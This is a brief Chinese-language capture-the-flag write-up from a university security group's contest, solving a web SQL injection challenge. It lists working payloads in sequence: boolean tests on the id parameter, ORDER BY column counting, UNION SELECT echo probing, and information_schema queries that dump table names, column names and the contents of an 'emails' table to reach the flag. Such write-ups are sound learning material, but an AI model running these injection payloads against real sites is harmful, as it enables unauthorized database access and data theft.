西安理工大学网络安全小组第一次校赛web-sql
我们首先发现是一个sql注入,注入点在id
然后判断是字符型还是数字型
?id=1 and 1=1 无变化
?id=1 and 1=2 网页有变化,说明是数字型
接下来需要知道有几列,使用order by 进行查询,发现当为3时网页正常,说明有三列
下来看是否有回显,有回显,则可以使用联合查询(union select),如果无回显使用盲注(布尔盲注,时间盲注)
?id=-1 union select 9,8,7 发现有回显位置,那么我们可以查询数据库(database())和版本信息(version())
数据库名ctf
接下来我们就查询,有哪些表
?id=-1 union select 9,version(),group_concat(table_name) from information_schema.tables where table_schema='ctf'或者
?id=-1 union select 9,version(),group_concat(table_name) from information_schema.tables where table_schema=database()
经过查询发现有三张表,现在查询每一张表里面的列名
?id=-1 union select 9,version(),group_concat(column_name) from information_schema.columns where table_name='emails'
发现有两列,列名为email_id和id,下来我们查询具体每一列里面的内容
?id=-1 union select 9,version(),group_concat(email_id,id) from emails
我们发现,查询的内容里面有flag,到此结束。